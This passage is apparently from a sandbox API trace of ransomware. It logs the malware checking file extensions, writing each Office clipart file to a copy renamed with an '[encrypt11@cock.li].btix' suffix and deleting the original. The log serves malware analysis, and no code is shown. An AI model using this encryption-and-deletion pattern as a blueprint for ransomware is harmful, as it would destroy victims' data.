lstrlenW (lpString=".zip") returned 4 [0148.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.079] lstrlenW (lpString=".rar") returned 4 [0148.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString=".bz2") returned 4 [0148.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString=".7z") returned 3 [0148.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.079] lstrlenW (lpString=".dbf") returned 4 [0148.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.079] lstrlenW (lpString=".1cd") returned 4 [0148.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.079] lstrlenW (lpString=".jpg") returned 4 [0148.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.079] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.079] lstrlenW (lpString="HH01759_.WMF") returned 12 [0148.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.080] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5414) returned 1 [0148.080] CloseHandle (hObject=0x374) returned 1 [0148.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0148.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.080] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.080] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.081] GetLastError () returned 0x0 [0148.081] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1526, lpOverlapped=0x0) returned 1 [0148.395] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1530, lpOverlapped=0x0) returned 1 [0148.396] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.396] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.396] SetEndOfFile (hFile=0x378) returned 1 [0148.397] CloseHandle (hObject=0x378) returned 1 [0148.397] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.397] SetEndOfFile (hFile=0x374) returned 1 [0148.397] CloseHandle (hObject=0x374) returned 1 [0148.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0148.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.398] lstrlenW (lpString=".doc") returned 4 [0148.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.398] lstrlenW (lpString=".docx") returned 5 [0148.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.398] lstrlenW (lpString=".pdf") returned 4 [0148.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.398] lstrlenW (lpString=".xls") returned 4 [0148.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.398] lstrlenW (lpString=".xlsx") returned 5 [0148.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.398] lstrlenW (lpString=".ppt") returned 4 [0148.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.398] lstrlenW (lpString=".zip") returned 4 [0148.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.398] lstrlenW (lpString=".rar") returned 4 [0148.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.398] lstrlenW (lpString=".bz2") returned 4 [0148.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.398] lstrlenW (lpString=".7z") returned 3 [0148.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString=".dbf") returned 4 [0148.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString=".1cd") returned 4 [0148.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString=".jpg") returned 4 [0148.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString=".doc") returned 4 [0148.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString=".docx") returned 5 [0148.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.399] lstrlenW (lpString=".pdf") returned 4 [0148.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString=".xls") returned 4 [0148.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.399] lstrlenW (lpString=".xlsx") returned 5 [0148.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.399] lstrlenW (lpString=".ppt") returned 4 [0148.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString=".zip") returned 4 [0148.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.399] lstrlenW (lpString=".rar") returned 4 [0148.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString=".bz2") returned 4 [0148.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString=".7z") returned 3 [0148.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.399] lstrlenW (lpString=".dbf") returned 4 [0148.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.400] lstrlenW (lpString=".1cd") returned 4 [0148.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0148.400] lstrlenW (lpString=".jpg") returned 4 [0148.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.400] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.400] lstrlenW (lpString="IN00177_.WMF") returned 12 [0148.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.400] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1074) returned 1 [0148.400] CloseHandle (hObject=0x374) returned 1 [0148.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0148.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.400] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.400] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.401] GetLastError () returned 0x0 [0148.401] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x432, lpOverlapped=0x0) returned 1 [0148.402] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x440, lpOverlapped=0x0) returned 1 [0148.403] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.403] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.403] SetEndOfFile (hFile=0x378) returned 1 [0148.403] CloseHandle (hObject=0x378) returned 1 [0148.403] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.403] SetEndOfFile (hFile=0x374) returned 1 [0148.404] CloseHandle (hObject=0x374) returned 1 [0148.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0148.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.417] lstrlenW (lpString=".doc") returned 4 [0148.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.417] lstrlenW (lpString=".docx") returned 5 [0148.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.417] lstrlenW (lpString=".pdf") returned 4 [0148.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.417] lstrlenW (lpString=".xls") returned 4 [0148.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.417] lstrlenW (lpString=".xlsx") returned 5 [0148.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.417] lstrlenW (lpString=".ppt") returned 4 [0148.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString=".zip") returned 4 [0148.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.418] lstrlenW (lpString=".rar") returned 4 [0148.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString=".bz2") returned 4 [0148.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString=".7z") returned 3 [0148.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString=".dbf") returned 4 [0148.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString=".1cd") returned 4 [0148.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString=".jpg") returned 4 [0148.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString=".doc") returned 4 [0148.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString=".docx") returned 5 [0148.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.418] lstrlenW (lpString=".pdf") returned 4 [0148.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString=".xls") returned 4 [0148.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.418] lstrlenW (lpString=".xlsx") returned 5 [0148.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.418] lstrlenW (lpString=".ppt") returned 4 [0148.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.418] lstrlenW (lpString=".zip") returned 4 [0148.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.419] lstrlenW (lpString=".rar") returned 4 [0148.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.419] lstrlenW (lpString=".bz2") returned 4 [0148.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.419] lstrlenW (lpString=".7z") returned 3 [0148.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.419] lstrlenW (lpString=".dbf") returned 4 [0148.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.419] lstrlenW (lpString=".1cd") returned 4 [0148.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0148.419] lstrlenW (lpString=".jpg") returned 4 [0148.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.419] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.419] lstrlenW (lpString="IN00204_.WMF") returned 12 [0148.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.419] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1848) returned 1 [0148.419] CloseHandle (hObject=0x374) returned 1 [0148.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0148.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.420] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.420] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.420] GetLastError () returned 0x0 [0148.420] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x738, lpOverlapped=0x0) returned 1 [0148.421] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x740, lpOverlapped=0x0) returned 1 [0148.428] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.428] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.428] SetEndOfFile (hFile=0x378) returned 1 [0148.428] CloseHandle (hObject=0x378) returned 1 [0148.428] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.428] SetEndOfFile (hFile=0x374) returned 1 [0148.429] CloseHandle (hObject=0x374) returned 1 [0148.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0148.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.429] lstrlenW (lpString=".doc") returned 4 [0148.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString=".docx") returned 5 [0148.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.430] lstrlenW (lpString=".pdf") returned 4 [0148.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString=".xls") returned 4 [0148.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.430] lstrlenW (lpString=".xlsx") returned 5 [0148.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.430] lstrlenW (lpString=".ppt") returned 4 [0148.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.430] lstrlenW (lpString=".zip") returned 4 [0148.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.430] lstrlenW (lpString=".rar") returned 4 [0148.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString=".bz2") returned 4 [0148.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString=".7z") returned 3 [0148.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.430] lstrlenW (lpString=".dbf") returned 4 [0148.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.430] lstrlenW (lpString=".1cd") returned 4 [0148.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.430] lstrlenW (lpString=".jpg") returned 4 [0148.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.430] lstrlenW (lpString=".doc") returned 4 [0148.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.430] lstrlenW (lpString=".docx") returned 5 [0148.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.431] lstrlenW (lpString=".pdf") returned 4 [0148.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.431] lstrlenW (lpString=".xls") returned 4 [0148.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.431] lstrlenW (lpString=".xlsx") returned 5 [0148.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.431] lstrlenW (lpString=".ppt") returned 4 [0148.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.431] lstrlenW (lpString=".zip") returned 4 [0148.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.431] lstrlenW (lpString=".rar") returned 4 [0148.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.431] lstrlenW (lpString=".bz2") returned 4 [0148.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.431] lstrlenW (lpString=".7z") returned 3 [0148.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.431] lstrlenW (lpString="C:\\Program Files\\Microsoft 